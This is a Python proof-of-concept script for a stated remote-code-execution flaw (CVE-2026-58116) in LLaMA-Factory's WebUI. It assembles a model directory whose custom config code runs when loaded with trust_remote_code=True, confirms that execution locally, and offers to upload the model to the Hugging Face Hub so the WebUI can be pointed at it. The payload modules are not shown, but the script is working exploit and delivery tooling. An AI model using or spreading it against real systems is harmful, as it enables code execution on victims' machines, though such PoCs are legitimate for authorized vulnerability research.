#!/usr/bin/env python3
"""
build_and_verify.py — assemble the CVE-2026-58116 PoC model and verify it
triggers code execution via trust_remote_code.

This demonstrates the sink (transformers from_pretrained with
trust_remote_code=True) in isolation, without needing a running LLaMA-Factory
WebUI. It proves the contract that the WebUI violates: a repo ID + trust flag
= code execution.

Usage:
    python3 build_and_verify.py                  # build + verify locally
    python3 build_and_verify.py --upload <hf-repo-id>   # also push to HF Hub

FOR EDUCATIONAL/AUTHORIZED-TESTING USE ONLY.
"""
from __future__ import annotations

import argparse
import shutil
import sys
from pathlib import Path

HERE = Path(__file__).resolve().parent
MODEL_DIR = HERE / "poc-model"


def build_model_dir() -> Path:
    """Ensure poc-model/ contains config.json + the two .py modules."""
    required = ["config.json", "configuration_poc.py", "modeling_poc.py"]
    for name in required:
        if not (MODEL_DIR / name).exists():
            sys.exit(f"[!] missing {name} next to this script")
    # transformers imports the package, so it needs to be a valid module dir.
    init = MODEL_DIR / "__init__.py"
    if not init.exists():
        init.write_text("from .configuration_poc import PoCConfig\n")
    print(f"[+] PoC model assembled at {MODEL_DIR}")
    return MODEL_DIR


def verify_local(model_dir: Path) -> None:
    """Load the config with trust_remote_code=True — this executes the payload."""
    print("[*] Loading config with trust_remote_code=True (this triggers the PoC)...")
    from transformers import AutoConfig

    # The exact sink LLaMA-Factory reaches through loader.py:
    config = AutoConfig.from_pretrained(
        str(model_dir),
        trust_remote_code=True,
    )
    print(f"[+] Config loaded: {config.__class__.__name__} (model_type={config.model_type})")
    print("[+] If you saw the '[CVE-2026-58116 PoC]' banner above, RCE is confirmed.")


def upload_to_hub(model_dir: Path, repo_id: str) -> None:
    try:
        from huggingface_hub import HfApi
    except ImportError:
        sys.exit("[!] pip install huggingface_hub to use --upload")
    api = HfApi()
    api.create_repo(repo_id=repo_id, repo_type="model", exist_ok=True)
    api.upload_folder(folder_path=str(model_dir), repo_id=repo_id, repo_type="model")
    print(f"[+] Uploaded PoC model to https://huggingface.co/{repo_id}")
    print(f"    Now point LLaMA-Factory's WebUI 'Model path' at: {repo_id}")


def main() -> None:
    ap = argparse.ArgumentParser(description="CVE-2026-58116 LLaMA-Factory RCE PoC builder")
    ap.add_argument(
        "--upload",
        metavar="HF_REPO_ID",
        help="also upload the PoC model to the Hugging Face Hub (e.g. user/poc-model)",
    )
    args = ap.parse_args()

    model_dir = build_model_dir()
    verify_local(model_dir)

    if args.upload:
        upload_to_hub(model_dir, args.upload)


if __name__ == "__main__":
    main()